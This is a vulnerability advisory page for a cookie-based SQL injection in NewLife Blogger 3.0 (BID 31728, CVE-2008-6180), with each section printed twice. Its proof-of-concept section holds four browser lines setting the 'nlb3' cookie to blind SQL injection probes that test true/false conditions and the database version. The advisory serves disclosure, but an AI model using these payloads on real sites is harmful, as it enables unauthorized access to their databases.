NewLife Blogger 'nlb3' Cookie SQL Injection Vulnerability
BID:31728
Info
NewLife Blogger 'nlb3' Cookie SQL Injection Vulnerability
| Bugtraq ID: | 31728 |
| Class: | Input Validation Error |
| CVE: |
CVE-2008-6180 |
| Remote: | Yes |
| Local: | No |
| Published: | Oct 12 2008 12:00AM |
| Updated: | May 07 2015 05:22PM |
| Credit: | Pepelux |
| Vulnerable: |
NewLife Blogger NewLife Blogger 3.0 |
| Not Vulnerable: | |
Discussion
NewLife Blogger 'nlb3' Cookie SQL Injection Vulnerability
NewLife Blogger is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
An attacker can exploit this issue by manipulating the SQL query logic to carry out unauthorized actions on the underlying database.
NewLife Blogger 3.0 and prior versions are vulnerable.
NewLife Blogger is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
An attacker can exploit this issue by manipulating the SQL query logic to carry out unauthorized actions on the underlying database.
NewLife Blogger 3.0 and prior versions are vulnerable.
Exploit / POC
NewLife Blogger 'nlb3' Cookie SQL Injection Vulnerability
Attackers can use a browser to exploit this issue.
The following proofs of concept are available:
javascript:document.cookie = "nlb3=7 and 1=1::96e79218965eb72c92a549dd5a330112"
javascript:document.cookie = "nlb3=7 and 1=0::96e79218965eb72c92a549dd5a330112"
javascript:document.cookie = "nlb3=7 and (select substring(version(),1,1))=4::96e79218965eb72c92a549dd5a330112
javascript:document.cookie = "nlb3=7 and (select substring(version(),1,1))=5::96e79218965eb72c92a549dd5a330112
Attackers can use a browser to exploit this issue.
The following proofs of concept are available:
javascript:document.cookie = "nlb3=7 and 1=1::96e79218965eb72c92a549dd5a330112"
javascript:document.cookie = "nlb3=7 and 1=0::96e79218965eb72c92a549dd5a330112"
javascript:document.cookie = "nlb3=7 and (select substring(version(),1,1))=4::96e79218965eb72c92a549dd5a330112
javascript:document.cookie = "nlb3=7 and (select substring(version(),1,1))=5::96e79218965eb72c92a549dd5a330112
Solution / Fix
NewLife Blogger 'nlb3' Cookie SQL Injection Vulnerability
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
References
NewLife Blogger 'nlb3' Cookie SQL Injection Vulnerability
References:
References:
- NewLife Blogger Homepage (NewLife Blogger)